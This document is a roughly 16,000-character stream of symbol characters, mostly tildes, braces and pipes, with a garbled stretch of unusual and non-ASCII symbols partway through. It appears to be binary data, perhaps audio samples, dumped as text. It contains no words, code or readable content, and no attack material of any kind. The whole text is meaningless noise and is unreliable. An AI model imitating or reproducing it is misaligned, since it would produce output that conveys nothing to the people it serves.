~~~~|||~~{z{}~}|}~}|~|}~}~}~~}}~}}~~~~~~}~~}}~~~~~|}}~}~~~|~{}|}{~~}|}~|{~{}}}~}~~~}~~~~}}~~}~~~}~|{}~||}||{{{}}|}}~}~}~~}~~}|}~}~~~~~}}~~~~~}~~}~~}|}~}|}}}}||{}|{z{|}}~~}~}~~}}~~}}|}~~}|}~~~~}}{|}||{|}}~}~~}}~}|}}|}~}~~~~~|~~}{}~z|~~}|~~~~}~}~}|}~~~}~~}~~}~~}||~~}}~~~}}||~||~~}|}|{|~~~~}}~~~~}}~~~~~~~}}~~~~}~~~~}}~~~~~}}~~~~}}~}}~~~}~}||}~~}||{|}||}~}}|}}|}~~~||{zz{|}}|{|}}|{|}}~}}~}}||}~~~}~}||}~~~~}}||{{||}~}~}~}~}~}~}~~~}}~~}~}~~~~~}}~}~~}~}~}||}}||}~}~~}~~}}~~~}~~}~~~~~~~~~~~}}~~}~~~~~}~}~~~~}~}}~~~}}~~}~~}~~}~~~~}~}~}~~~}~~}|}|}~~~~}}~~~~~}~}~}~~}~}~~}}~~~~~~}~~|{|}~~~}~}~~~}}~~}}~~~~~~~~}~}~}|}~}~}}~~~}~~}~}~}||}~}}||}}~~~~~~}~}~~~~~}~}~}~~~~~}~~~~~~~~~}~}~~~~~~~~~~~}}~~}}}~}|}}|}~~}~~~~~~~~~||}~~~~}~~~~~}~}~}~~~}~}~~}}}~~}}|}~}}~~~~}}}~~~~~~~~}|}~}|}~~~~~~~~~}|}~~~~~~~~}}|}~~~~~}|}~~~|}}~}|}~~~}}|}~~~~~}|}}zyz|}|}~||~~}~~~~~}{|~|{{|~}|{{|}~~}||}~}}~~~~|{|~}{z{|}~~~~~~~~~~~~}||~|~|{}}|}~}~}|zz{|}|}~~|z{|}|{{}~{yz}~}||}|~~}~|}~~~}|}~}|zz|||}~}||}~}{{|}}|{|}}~~}|||~}||}~~}~}}~|{|}||}~~|{|}|}~}~}~}~~~~}}~}||~~}|}|}~~}}~}|}}~~~~~~~}~~~~~~}}}}~~}~}||}}|}~~~~}}~~}~~~}}~~~~~~~}|{|~~~~~~~~}~}~~~~}}~~~}~}~}~}~~~}}}{y}}{|}~}}~}}~~{{}}}~||~}}~~~~~~~~}~~}~}}~~~}||}}~}|}}|}|||}{y{|}~|~~}|}~}~~}{|{|~~}|{|}}|}~}|}~~}}~~{z~~}~~yy~~}{|}~~{z~~{{~~z}sr~~rs}yuz~|zy{|vxyz|z{~}ysu|~z|yx|}wxyqvws|{|{{{wxy{~y||w{|}}{|~xxz{y{~~|~~}~~~||{{{{|}}}yz}}}}|}}yy|}|}|{yyxwx|~}}{yz{|}|{{}~|{{{{}}}}zxz}}xx{}}{z{~yvv|~zz}~~~{z{}~}{}~~}|{}~}|}~~}|}}}yy|}}||zvy}|~xx|~}{{}yvz~~}yz}}||{~~{{~~||~~~~}~~~~}~}~~}}|}~~}~~|{|}~~|{|~}zz{|}}|}~}}||~~~|{||{|~~}}}~~~}}~|~~{{~|{{}~~}~}}~~}~~|{}~~}~~|{|~}|}}{xx{~}}|}}~~}}~~{z{~|{{||}~~~}|}~|{{|}||}}|}~~|}~}{|}~~||}~}}~~~~~~}||}~~}~~}~~~~}}}~~}~~}~~~~~~~~~}||}~~~~||{|~~}|}}}~~}~~~~}~~~~~~~~~~}~~}~~~~~}}}||}~~}~~~~~~~~~}~}|{{||||{||||||}}|{|}}~~}~~~~~~~~}~~~~~}~~~}}|}~~~~~~~~~}||{|{|{z{{||{||}}|||}~~~~}~~~~~~~~~~~~~~~}~~~}~~}~}~~~~}~}~~}~}~~}~~}~~~}~~~}~~}~~}~~~}~}~~~~~~}~~~}}~~~~~~~~~}}||}|}~}~~|{z{}}~~}}||}~}~~~~}~}}~}~~~~~~~}}|}~~~~~~}~~~~~~~~~~~~~~~}~~~~~~~~~~}}~}~~~~~}~~~~~}~}~}~~~~}~~~~~~}~~~}~}}~~~~~}~~}~~}~~~~}}~~}~}~~~~}}}|{{{zxzzyyzzyyzz{|}~~~~~~~~~~}~~~~~~}~~~~~~~~~~~~~~~~~}||}~}|{z{z{zyz{zzz{{zz{{|}||}|}~~~~}~~~~~}{x}{||y~x{{z{|~{z~z{}y|{y|}|z|}|zz}}z|{y|}{~}}~|zy{~~|||y{{{{}}|~}|}~{z}}~}|}}~~||}~{}~}z{~~||}~|z|}}||~}}~~~~}|}~}}~~}}}~~}~~~}~}|}}|~}~||~~||~~~~~||~}~~||~~}|}~}~}}~~}}}}~}~~}}~~~}}~}~}}~|}|}|~}}~~}}~}||}~~~}||~|zz{{|{}~~|z{{||{{||{|}{~~~~~~~~}}~}~|~~~}~~}|{xwxwvuvyy{zzzzxy|||{~~}~~}~~~~~~~}}~}~~||~~~~~~~}}~}~~}~~}~~}~~~|}}|||}}}}~~}|{z{||{{{|||}~~}~}}~~~}~~~|z{~~}|}}}~~}}~~~~}~~~~~~~~~~~}}}}~~}}}||}~~}~~}}|}|}}~~~}~|||z}}|~}}}}~|{|~}}~~}|}~~|}}||~~~}}~~~}~~}}~~~~~~~~}~}|{zz{|}~~}|{|}}~~|{|}}~~~~~~~}~~}|}~}~}}~~~~}~~~}}~~~~}}}|}||~~~~~~~~}}~~~~~~~~|{|}|}|}~}~~~~}|{zyxwxxxwxwxy{}~~~}~}}||}|}|{{|}}|}~}~~}~}}||}~~~~}|}|{{|{zz}}|{}~}~~}~~~}|}~}}}|yyzyxxy{{yzz{zxy{|{z|}|{|}}|{}~~}}~~~~~~}|{{{zyzzzyxyxwwxxxxxyyz{|}~}~~~~~}}~}|{{{{z{z{|{{{||{z{{zyzyxyxyz{|}~~~~}}|}|{|{{|{|}|}|}~~~~~~~~}~~}|}|}~~}~}}||}}~}~~}~~~}~~~~~~~~~~~~~~~~~~}|{|{|~~~~}|}|{z{}}~}|{zyxyz{|}}|{{||{{z{|}~~~}||}}~}~}|{z{z{|{|{||{|{||}~~~}~}~}~}|}|}|{{zz{{|||{|{|{|}|}|}|}~~~~~~}|{zz{zyyxxwvvwxyzz{{|}}~~~}~~}~}||{z{{zz{{|||}}~~~~~~~~~~}}||}}|{||{zz{||}}|}~~~}}}~~~}|}~~~~~}}~~~~~~~~~~~~~~~}}~}~}||}~}~~~}~}~~}~}|}|}|}|}|}|{|{z{zyzyz{zyz{||}~~~~~~~~~~}~~~~~~~~~~~~~}~}~~}~}~~~}|{xwtsrrsvy}~}}|}}|{{z{{z{||{z{{z{|{|{|{|}|}|}|}~~~~~}~~}~~~}~}~~~~}}~~}~~}~~~~~~~~~~~~~~}~}~}~}~}~}~}~~~~~~~~~}~}~}~~}}}~}~~~~~}~~}|}~~}|}~~}}|}}|}|}~}}~}~~~~~}~~}|}|{|{|{|{|}|{|}}|}||||{z{{z{|{|{|}|}|}|}~~}}~~~~~~~}~}~}~}~~~~~~}~}|}~~}~~~~~~~~~~~}~~~}~~}}~~}~~~}~~~~~~~~~~}~~}~~}~}}~~~~~}~}~}~}~}~~~~~~~~~~~~~~}~~}|}}|}~}~~}|{|}||}|{|{{|}}|}|||}}|}~}~~}|}~~~~~}~}|}|{|{|{|{|}~}~}~}~~~~~~~~}~~~~~~~~}}||{{z{|{|{z{||{|~~~}}}~~~~~}}~{yxz|yz{{y}~{}~~~~~~}~~~~~|}}z~~~~~~~~~|}}{{z}{}{y|{}yz{|~{||}|||z}|{~{|z{zy~z~~{~}{~|zx}x|z{|w~yz{{{y|{~}{}{|{y|{~{|~|z~|~~}}}~~}~}~~~~~~~}~~~}}~~~~~~~~~~~~~~~~~~}~~~~~~~}~~~|y{}~~}}~|}}||yxxz}}||~~}}~~~}zz||}}zyxy{~{z{~~}|z|}~~}||}}~}}~~}{{|}~}{||}||}}~~~~~~}|{|~}||zyx{{}~~}{}|~~~~~||}~~}~}~}~~}~~~}~}}~~~~~~}}}|{}}|{|}~~}~}~~~~~}~~|||}~}|||}}~~~}}~~~||}}~|}~|{zz{zz{~}{{~~}||}~}{|}}|{{{|~}|zz|~~~~}||}~|}~~}||}~~}zyyz}~}zyxyyyzy|||}||{|}~~}}~}~~~~~}~}~}}~~}||{{z{{}}||{||{|{|}|{{|}||zyyxy|}~~~~}}~}}~~~~~}}|{z{|~~~}||}}}~}{z{|}}|{||{|{z{{|}}~~}}||}~}|{{|}~|zyzzyxxyyxwwxvuwxz{{{z}~~~|{z{|}}}}|{{z{||{|~~~}|||}~}||}|}|}}}~}}~~~~}~~}~~~~}}|}~~}||}~~~|{|}}~~~}|~~}~}}}~~}}~}~~~~~}|}|}~~}||{|~~~}}|||{z{||||{zyy{~}{{z{~~~~~}}}}|||{~~}~}~}}~~{}~{}~yz|z~}|}yy}|z|}|}{{}~}~||}~}~~~~~~~~~}~}|}~~}}~}{{|}~~}|}}~~~||}~~~~}|}~~~~~|{|zy|}}}wnwnrwlwkZb}ya\g|rjjzje|qfpwrzyxyt|vtz{y{{y|}~~|xw}ywz{qpz}xv|{uz|y{}||yyqrt{~{yxzwstxy}~zsstzwy}{|~{z|}~~~|{xy~~~xw~~z{~~}v}xu}zxwsxpiv}wx~x~rt|||~nlZHQcұO*#8\ܿgNF@1%*Cc~yldUC6>aѰmWA88?SnթzT9/6EWfpkO<1$'CiƳ~[;3;NiǯfOHUaaj}ʫdK6%+GjnOACM\djuqdbhwqS8.2:FWe~k]K@85G\~ܾrR9,1Kiȹ|V3*7E_|Z8,;TniSLSkɺvhXLNXakt}rZOS]bbely{yuou~m^VRNMU_cclyzvl`^_dq|{ty~}vumXKD?=AJT_sukedhns{}qkfbbhr|ʾj[TTZZTROMPX^^\[`o{dO:,)0@JU]blyyj`YUTPMQVV[hwµwlhkxpkptunjlpwyg^]\YSPSZelqx|űpd\SNQc}smvxlVHUsfQNT[_\crunip{}wyz||z}ztlllc\_ovojjpv~uuz}~sgep{ztuzyrpolmsxxwx{~|j^]afondaeksy|sonmosw}{zzyyx{{~{qifiikmpv|~sga][ajqpqrqu~|uqpxyvsszvd^eoyxz{pwx~|rpoooppqvojnmmnmnv|vyxsxzy~}|||vsvwprvstqlpx{~}xbixuu\`zuz}ww~v`XXkvuwjpxoq~wyyb=Fn~PG_ovw_U`tujmskbo|k\_yz\T^esmjF<_~oy`XhziV]diszxibfpdZct{qxy|vkcx}ts{zwqb\_fnqy~uuth^amoecrwil|xtmtxyvw~}od^lwmf]WSQVZf~uprv|kVQWjwrgbgvphmyn`^dehtksvmu{snz~hclw}shiitrk^Xbq{zodbfjr|m\WNGWxlahnr|xg`ixvqpwx||j[X]fr}yhZZ]befeps\P_w{u}}zukbY[cdjloln~{kekrlbfyyqij}zy~|wzsjlr~siecgyzrurc_ait~~ukijlotz~{nnu~~yxtrt|~xjdhkmnu{uqkcdhoztonxzumpyweYVV[guuhciopolghmv{{wrop~sms~lctyidjpts|vlfi{}xyyyp_ajwz{ztxyou||ztsy{vkrwwzze^l}wqpptwv}}e\l~lZblrvw}uqvy}tym{zxxv|qw}{x|xz{}wux~zpinqpy|r{}zxvkjokt~xvsjk{~{vmmpsuqqy~}|{}}vqv~xvt||zvspw{szwrzxijnu}}}}z~|xt|vlorrwyv|xzzz|||tt~yyvwx{|txty~yz~{|y~{zywwv}woszvuvx~zzyx{{yvx{ypwyi^cix|wz~~xvrhbflwx||wxytot~~}uvvy||~zssxxw||wyzx{{||zyxsvyz{xwwvsvw|~{vrsyut|{mp}}{wss|{~yxwrqz{xnl{~upz~}{vttt{}xy~{{z|{wuuxzsxyoqyywmt~}uhWJLTfz~yu~wmfjkjmtwx{m_\ZREEN_r~zv{ngsyrx}|rci|oPFUuuo~xradvxmsxxedo|}rz|ypnwulhilturquu{{qr|shcs}|{pkovsz~ts}|wyehx}d]d[UZe~uxgFCd|`S^we]s}ojjtg}zmxxwifqpRG_lUatt}wpxxrww{lt~x|xlenzufU_osqs{sr}ur{zqvyw{zuwrortnppoopty{yurv~~wty}}{~yxphfox{yvzqdisy~y}qx|yqmq||~~|xruztvz|xsvyz~xu{~ztww~ukhhkkmpquxw}~{}}{{~|~}y{|||{{}~wmhfhnsw{ywzyx~ss{~xtokn{~}zwy|xspx{pnvreafqxwyxonx}zoiiouz|xmkv|z~yrnw~~{z|}~{upmnloropsx|{trrv{{~vqu}~yxz{vquzuz~x~}ty}y{~~pv~yuy~~{ynly~w~}nvvw|~{y|}z}}ysxysnnt|{~sqx}z~}~}vtz|y|~{vtttqsusplr{|zsnox~|}|~}qvz{zx{zutwvszxsvwxywvxwpp{vzsgw~nimvznm}{}wy}{xv|{rrvtqnruvyzwuwy{}~~{y}{~yuuvyzvrrsx~{vyxxumt~}{|yx{~vpsxuuuqstqsvxvwyvwyvv~yprtx~z{xv{{{|~ztppsuu{vnox}zwxtuvzv}{yqqvzyyzztptqigqstzvuroms~~~}~}}~{w{yst{||}}{uvxvu}vy{}~}}~{{|xy|}~{vy}{yusrt{|uruw{~}|ytuz~}}|xzzz|}}}~}{~|xvwwtooppnqtw~~~|xy{}|~~~~|}}~yyxvy~|zyz~|z|~|{{||}}z|}~}}}}{zz|y}~}~|wuxzxwxxy{ywxwqtz}{ywwusuuuy|||z{{}|z|{wx}~~~}ywy|}|}}~|yxxwwy}~~{zyvvyzxvvy|~~|{z|~|z|~|}zy||wvz|{yutyxtx~zz~}}y~}zz{yxyuvxxyyz}|}~|wywwyywttuuxy{{zxx{}~|z~}{}www}z{u}{{wr~~ys|~}z{zz~}~|~}zvxzz~vvrqzz|rponzyzqmru~yrnnw}}{y{|y{{||{xt~{|{|}}}|z}~~~}~~ywwyx{{yz{}||}z}|{|{|~}}||}}}|z|z|}zxx||~}~}{}}|wvzz|{vsrwz~}zz|~~~z{~~|zwv|{{{z|~zyzz{{z{}~~{z}}zzxvxzxvsw|~}xx{||zz}{{~~}zy||~}}~|{{}{{|}~~~z|~}~yw{||}}utz{}}}xvz{|}~|xy~{||{~~~{}{|}{zz{ztpoprturrtsqqqqrutsw}~|~}~~}~|yy{|zyz}xvwxz~|zywwx{|{z|{~{zz||{{{}|||{~~}~~~zz~~}~~}zvttuutxyz|}|yzzw}}z}z~}|y|}}|yxx{~zx{|{{|~}~~|zz{~zwsv~~xuv{{y}rzxk}}yy|}}xz~uqmjnttv}{xz~|vx|}~y||zvsuyyx{{vttu{|}|}{}{{yx}vpu~||vuuu}|srvux~{|~|{ys}zzzt{|uw{w~~z{~vv|{z}tsvrnptssvvw}|xussw~~}}~wrtqlmmkooknruwtqmmprtz~~z|yx}{yzvtvtqprsy}{{~{yxvy}z|~~~~z}~zy|z||zy|xpsttutuvsrtutqrtxzx|~~~~zvywvy|}}~~}yxvvuwz{{wuvvrmlppnorwvw{{||{{}}xvsu|}xtpmkotuuy~{ywwvrpprux{|xspnqv}~xxyz}zy||vpprrqrsrkjntxwwz~{topw||{~|y{zrq|z~|}x{y|ztsxyob\drvqnsskbahtzwrtz~~}~}yxwvxzyyyvrppnfacnxxussslglvzxz~~wpqx~~|}|xoknrvv{|yxyz|xu{|{|~|vqor|~zuvvuy~zuollomigjrvutrsqnpw~{xuplmnoosusstsrqrsrttsrstw}}zxwxyyzzyvurpqrstz|zzwvvz~~}~}{}|yywxxvvxz}~|}}zzyxwxyxwwuqljlqtw{}~{zwvuttvy{|}~zxy{|{zzzxupjecdgkoqttrqrsrsvz}xuttuuwzzxupllnonquxyxvsrooqvy{|{||{{}~|{{~~|{}~~zvuxy{zz}~}|}||}|{{~~~~}zvtsuwvtpmmnnoqtvwxz}||~~zwvvxxxvurqruxz{zzz{}}xuutuwxyywz|}|}~|wtuwwvvwvvy|}|xvvx{}{}|{y{{||}||xx~~~~~~|}|}{yxvuvxyy{}||}|}~|yvvx}~}||}y{~~~~}|{xwz|}}}|{{xuuwxwwz||z{~~~|{xz|}}}||~{z~|}}z|~|}}~~|z{}~~|{~~}~~~{|}{z}}~~~~~{zyy}{xwz{z{yy{zx{~~}{}~}{{~~~}}~~~~}}|}~~~~~}{{||~{z{||{||~~}~}|yx|~}|}||}~~|}}|~~||{yw{}{|ywuvz|~~|{{{z{~zwy{{}~}}|||z|{{~}~}|~}y{}{xz|zx||xvvwxz}|}}}||}{zyyyxyxxz}~~}|yvsrstqrttstwvv{}|z{{z{}}|yx~}{zzyz~~~}}~~}~~{yz{yuvusssswxxz||yw{}|}~~}}~~||~~|~~~yx}zz}twwv}ww}zrp}wy~}{tz|xyww~{xz|{}~}uoqtrtw|zspvxxyxzysrx|xuxywv|}||{|~~~~{}{~~zyzwvsonpqswxvtvxxxy{{zyv{~|xy||}}}|~{yxvvuvwxxz|z{xwwyxyz{yxxzzz{|~~||~||}{|}{wuvxxwvvtrrtxzywwz}}~~|~~~}zwvy{||{|}~~|yzywy~}}}|z{}~}}wtsuzxwxxzzxwuttvxyz{{{}~~}||{yx{}{wx{|yxy{{yx{|||}|}}{}}}~}{yyxz}~|{{zxwyyvwxz{zz|~~{{~}yz}~~}{wy~}}|{ywyzyvuvwvwyyvuvwxy}~~ywz~~yuqptz|z{|}{wuuxyxtngfinprsssuuvz}}~yvx}~}}||}~}}~ysquz|{zwsmjqz~zz|}~{yy~{uoswy|uv{}~|xtuy|}yspkimsvwxzzz}~~}}|yy|~{wuuw|{xwvuux}|{|}||{|~|z{~|{{{|~~zx{}}}~~||yz~}|}|}~}zxwy||{{z|~~zz{{|}}zyy{||zywvvxyz||{yz}}||}~~~}~|{z{{|}zxxy{zywvy{~|yxz~~~}{{|}|zwwyz{{zwvuvxz}~}}|z{|~~~~}~~~}|{{|}|zzyxy{}}zzzyz}~~~}}||~|||}}~|}}}~{yvtvyyxvvyz}~~}|}~~~|{zywvuvxwwvw{~~|}~}~~{{}~~}ywvsomlnnnpqrrtuvxvuvwy{~~~~}||~}~~{xz|}~}}|ywy|~~~~}~~}|{{{|~}{z|zyyz{{ywwwxxyz}}|zzzyyzzyy{|}~~}~~}||}~~}||}~~~}~~}|~}~{yt~xwz{~}~{|~~~|~{wxxyy{}|ww{xrxvr{}vx~z~|~}}|z{||}{v{ytuw{}|{~~|zz||uqsz}xtooty|~{z}}}}w{~{{}~|y}||{z{~}wxzxy|~{xvssy~~}yx||~y|}{svyy}|zz~|xzz{}~}|{yxzy{|yvxwuvy{z{|wyyutx}~~|{{yxy}}zz{|{w~}~~}|~~|y{~~~|yzyutyz|}}|}~~|}}||~~~}~~~|ywvvuwz|}~}{z||{~}zxxwy{{{{{}~~|zx|~~}ywtuwx{~}}~~{|{}~~}|{}~{{~|{{{}|{zz}||{zyy|}zxwx~}yyy{~}}|}}zxz}~~|yxzzxxxvvwy{|{~}}{{|~z{}~zwx|~xwxy{|~~||~|z}}wsrty}}xxxyz~~ywwvx{~|z~{wtw|}wplkov{{yvuuw|~|z{{xx{}zvv{}{~||}}{yvrppruy{{vtw}|xwwx{||zxyyyz||{{{{|~yrnnquyyuojkpu{}{wolnu}{yxxz{}}wqqv}|xx{}|zxz~{ustwz|{yvuvy{|}}zvrqu|}|~~{zxwxyzwtrqprv{}}{{{||}zyyz|}{xwxyxxxwxwxzz{}}{wqmotvvtsrsstwyy{~zvvy|{vpnquzyvqmmquxz{|{wvyyxxy|}~~~~~}~}|yxx{~~}zxwxzz{~{vtvyz|~~|}~~~~~{yz}|yxxyxutrqqprsuusttuutvyz}~~}zwuutuvxvsrqrstvwvutuwx{~~~~~~}{xvuvwxyz{zxyz{zxz||}|}|}}~~~}}~}}~}{yyyxwvvutuy{|}|}~}~~~~}~~}|}~~|{wuttvxyxwutuwxy{{|{|}~}}|||{|{{zxxwxz{}~}|}}|{|}}|}|}|{{||}~~}|zz{}~}|{zxxyzyxwxxwxy{{zyy{||}~~~~~|{{zzy{~~|yyz{{zyz||}|{|{{|{z{zzxwvuvwxyz{}~{zyzyxyxvsqrqponnoqvy}~}~}||}|}|}~~}~~}~~}~~}}}~|{y{||{yxyyxxz{zxwxyyz{|{{||}{wvx|}|y{~{xwwyz{}{wxz|}~~}|zz}~~|{}~}~~~~}|{z{{zxvuutuvwy||zy{{z{~|~}zv{{{}}|||wxx{~~zyyy|}|}}{~~}||}~~~~}{yz{}|y{{y{~{zyxxz}~{xutx{~}yz{|{{}}~~|}~}zy|}|~|zyy{||}~~}}~~{zz|zz{|{zz{{yxz}~{yy}~|}}}{{z{|{zzyy|~~}{{}|zz}~}|{}~|{}|{|}||}~}~~}}~~~}}|{{|}}||{{}|{z{~~~|{|}|zz}~}}~}}~~~~}~~~{zyzz|}}~}~~}|}~{yy}~{zz|~}{wsqooopppnnnprtuvx{}~}~|~zz~}z{}||~~}|zyz{}}{|~~}{{}zwwx{{z~~yyz}}}~~|z}~|ywwx|}}~~~~}|{{|}~~~~|||||{|{yvvyzyxyyxz|}}||~}}~}~}}~~~}~~{yy{~~~~}~||{zzz}~~~||}|{zz|}~}~|yxz}|yz~{xx|~}|zz}zvw{{xvx{{yyz|~}zxwx{}|xxwy}~{yz{~~}~}|}}}}~~|zz}}zxxy|}~}~}~~~~~|z{{}~}}{z{z{~~}~}~|{yy{|}~}}|z{{|~~~~~zxuux|}zy{|{yx{~zxy|~|yz}~~}}~|zzz}{xxz{zyz|}}}||zz{z{}}|{zywvvxxwx|||~||}~{xvx{~~}}|ywwy|~}zyz{}|{|~~{yxxyz}~~}|{zyyxwustuwxy{{y{~}zx{~~}|}~~|zyyz|~}||}||ywvtsstwxwwxz{}}|{|}}}||}~~}zyxyyxwwvwz{}~{z{}{wuwz{{|~}zz|}|yxwwxyzyxxwvvwyz{{|{xwx{~}||~{{}~~}}||{}}zvttvz}~}yvvx{|{|{xwxy|}~~}|{|~}||}}~~{yyz|~~~}{z{z{|}|zxwxyz~~{zwwx{~}}|}~{z{zyyxyzyyz{||{z{|}|{||~~~}~||}|}|ywyz{||{|}|}}|xutuxz{|{zxz}~~}}~}|}|}~~{zyz}~~}}}||}~}|zyz}~~|}|{}~|vtv{}xqkgimrw{|}|yy|~}{}~zz|xssw~}|}~}|}{zxvww{~}zy{~|yz{~~~~}{wsqsttvy|yussuvz|zyvuwz||ywvwzz{}}}~}xutvwwx{~~{wtrqpqsvwuttvz~~}|{wutuwxz{yuonpsux|{xvx{~}{{||ywtrsvwwvux{~~~|}~}~{yz}|z{~|zz{}{yyzyxwvtstvy|~{yxzz{}~~|{|{|}~}|~~{xwwvwxwtspopqsvwwxxwvwxy|~~~}|}|}|}|{xvwxxz~~|{zyzyzzy{|}~}~~~~~~|}}||{{{z{|}~~}{{|{zyxvtuvxzyz{~~}~~}~~~}}~}|}|zyz{zwwvvvutuwwxz}~}|{|}~}~~~~~~~~~|{zxxz}~|yxwtvy{|{zyxxvvz~~||~~}|}|}}{vqooonoprrtx~~xtruy~~{wtpnos|~xx{}zyy|~}zxz{zzyxwvx{|~}~~~}~~|yvsooprttuvx}~yw{zvsuy}|z{{|}}|~}{zywvwxxxzzxsoosx{zwuqnmmmlmptwz}}|{z||{zwurppqty}~}|~~~~}~}~}zyvx|~~zwrqttutuvtrrrux}~~~}}}{zyxxy{{yyz{~||}~|yxyxwxwxz{~~{wvuusstwz}}|{xvutsrrpprsvwwxy|}~~~}}~~}|}~~~}|yxwwvutrrtuux{|{xvvvx{~|{zyyzyxxy|}~|{zzxwvvwx{|}}}{{|}~~}{zxwwvwx{|~~~|{{{||{xvuvwxz|}~}}|}~~~~}}|{|{|{|~~}~}~}|{{|{|}||{{|{|{|{|{|}}~}~|{z{|~~|{|}zwwxy|}{z{{}~}|}|{xwvvwz}~}~~}|{zyxyxxz{{|}}~}||}~}}||}~~|{|{{|}~~}||{zzyyzzyxwxyz}~~~}|{z{}~~~}}|{zyxwwxyxyz|}~}|{zyxyxyz|}~~}~~~~}}~~~}|zyzyzyz{z{|~~~~~}|}}|{{z{||}|}|}~~~~~}~~~~}|}}|}~~~}|}~~}|{{|}~}}~~~}{zz{{|}}~}~}~}|}|}}|}|||{|{|}~~~}~~}{{|}|{{}~~}|}~~}~~~}|}~~}|}|{{z{||}~~~}||zyz{|{|{|}~}}|{|{|~~~}||}~~~~~}|}~~}~}~~~~}{||}~~}~}~~~~}{z{zz{}~~~~}|{{|}~}||}~}|}~~}~}~}||}~~~~}|{|}~}~}~}|{z{|}}~~~~}~~~~}}~~}|{|}}~~}}~~}~~}}~}}~~}~~}|}|}|}~~}|}~~~~}~}~}||{{|{{|}||{z{}~~}|{{|}~~}|{|}~~~}}~}~}||{{z{{z{|}}~~~~}}~~~~~}}~}~~}}||{|}|}|}|}|}~~~~~~~}~~}~~~~~~~~~}}~}}|~~}}|}}~~~}}~~~~}~~~}~~~}|}|{|{{{{||}~~zxz~zz{~}{z||z|~|}~~}}~|yxz~~{yyz}~~}|}|}~~}}}|}~}~}~}~~~~}}}~}||}~}||}~}}|}~~~~~~}~~~}~}||}~~}|~}|}~}~~~}~~}|}~~}~}{{||}~}~}~}~}~~}|{|}|{|}}~~~~~~~~~}|}~~}~~~}||~~~~~~~~}}||{|}~~~~~~}|}~~}}~~|{zyz|}~~~~~~|{|{{|}~~}~~~~~}|}~}||}~~|{||{z{{|~}|{|~|{{|}~~||{z|~yy{|}}|}}~}~~~}|{{|~~|z{z{|~~}||{z{}~}}}~~~~~~~}}~}~}||}~~~|{{|~~}~~}~~~|z{{|~~}|{{|}~~}|}~}|}}|}|~~~~~~~~~}}~}~}~}~}|}||}|{|}~}~~}}{zz{||}~}~~}}~~~~~~~}~}~}~~}|}|}}~~~}|}}~~}}~~}}~~~}}~~~~}}|~~~}~~~~}~~}~}~}}~}~}|}}|{|}~~~~~~~}~~}}~~~}|||{z{|~}|{|}~}|{zyz{~~}||}}}|{|}~}~}}}~~}|}~}~~}~~}|{}~}~}||{z{|}~~~}|}}|{||}~~~}~}}~~~}|}|}~~~~~}~~}|{z{z||zyzzz{}}|{{z{z|}~~~}||{||{|}|{{|}}}~~~~}{z{z{||{||}~~~}}~~~}~~}|{{}~~~}}~~~~}~~}~~}~}~~~}|~~~~~}}~}{|}~}{xwz~~}|zy{|z}~}|~~~~}||}~~{{}~~}||||~~}~~~~}~~~}|}~}||~~~}{zz|~{yy{~~{xy}~~}zz{|~}{z{~}~~~~~~~}~}~~~~}}|}~~}zyy{~~|}~~~~}}|}~}{{}~~}~}|{|~~~}}}~}|||}~~}~}~}|~{|~{|}z{~~||~{y}|z}~}}}}}}}~~~~~~}}~~~}~~}~~~~}}~~}|~~|~~~~~}|}}|}~}~}~~}}}|}|}}|}}||}~~~~|z}|~~}|{|}~~|}~~~~~~}~~}~~|{||}~~}}~~~~}||}~~~~}~~~}~}~~}~~}|}|}~|{|}~~~}~}}~~}~~}|}|}~}~~~~}}~~~~~}|}~}~}~~~~~}~}~}~}~}~~}~~~~}~~~~}||}~~}}~~~~~}~~~~}}~~}}||}}|}~~}}~~}~}|}{zz{}~}|}~~||~~~~}}~~~~}|{}~~}{||}}||}~}{{~}|}~}{}~}~~}}~~}}~~~~~~}}}{|}|{|{{|{|~~}}~~~~~~}|{{||{zyyzzz{|}|}~~~~~}}|}|}|{||~~}~~|{|}~}~}}~}~}}~~}~~~~~~~}|{{|}|}~~~~}|}|}~~~~}|{zxwxyz|}|}||}}~~~||{{zzzyxwvwxyz{||~~~~}|}|}|}|}~~}~~~}zyxxyxxyzyz{|}~~}~~}|}}}~~}|{{{|~~|zyxyyzzzzxxwxyzzyyxxyyz{|}~~}}~}~}}}}}}~~~~}}|{{|{zzyyxxyyzyz{}~~~~}}|{|{||{|{z{z{|}}~}|{||}}||{{|}}~}}~~~}||||}|}}|}|{|{|}~~~~}~~}~}~~}~~~}~~}~~}~}|}|{|{|{||{{{{|}~~~~~}~~~}||}}~~~}}~~}}|{|}|}|}|{|{{|}~}}~}~~}~}}~~~|{|}~~~~~~~~}}|}}|}~}}~}|}}~~~~~~~~~~}~}|{zz{||{||{z{{||}}~~|||~~~||{|~}}||||}~~}|}~~}||}~}|}~~}}~~~~~~}~~~~}~~}~~}|{zzz{{zz|}}~~~~}|{z{}~}|{|~~~}}~~|{{||}|}~~}~}|||}~}~}~}|{|}}~~}}|}}|{z|~~~~}}|~}~~~}}~|{||}|{|{|{|{|~}}}}~~~}||||{zz{{zzz{}}|||}~~}~}~~~~~~~}}{{|~~}~~~~~}}|{|~~~}||}~}{||}~}}|{||{zz{||}|}|{||}}~~~~~~~}}}||{{z{||}|}|}|z{z{|}||{|{||}}||{|~~~~}~~~}}~~~|}~~}}~~~}}~}~~~~}|}|||{||{|~~~~}}~}~~}|}|}~~~~~}~~}}||}~}~}~}~~~~~~~~{zyyzy{|{|{zz{{|}|}~~}|}~~}}~~~~~~~}~}~}|}|}|}~~~}~}~}~~~}}~~~~~~~~~~}|}~}~}||{|}|{zyz{}~}}~}||{|{|}~~}}|||{||{|}}}}||~}}|{{{|}~~}~~~~~~}}~}}}~}~}~~~}~~~~~~~~}}~~~}}~}~~~}~}~}~~~~}|}||}|}}~~~~~~~~~}~~~}~~~}}}}}|}~}~}|{{zzz{}||{|}}~~~~}~}~~}||}|}~}~~}~}|}~~~~~~}}}|}}|}}}~~~~}||}~}~~}}||}}~}~~~~~}~~~~~}~~~}~}||}~~~~}~~}|{z{||}~}|{zz{z{}~~~~}||}}|{zzyxyy{|}~}||}~~~~}||{zyz{{z{}}~}||}~~}~~}zyxxyz{{zzyz{~}{{{}~~}{zz{|~~~|{{|}~~}~~}|}~~}||}~~~~}~}~~}}||}~}~}z{{{~~~~}~~~}}}~}~~}|{{|~~}~}||~~}}|{{|~}}||{{|}~}~~}||}|}}|{zyz{|{|}~}~~~}|{{|}|}~~}|}|zzzy{|{|}~}~~~~~}~}}|{{|}}~~~}~~|{}}~}~}||}~~~}|}}|}~~}||{z{z{z{z{|{|}~~}|{z{z{zyzyz{|}~~||}|}|}|{zyz{{|}~}~}~~~~}}~}~~}~}||}|}~~}~}}~~~~~}~~~~}~~~}{{z|}||{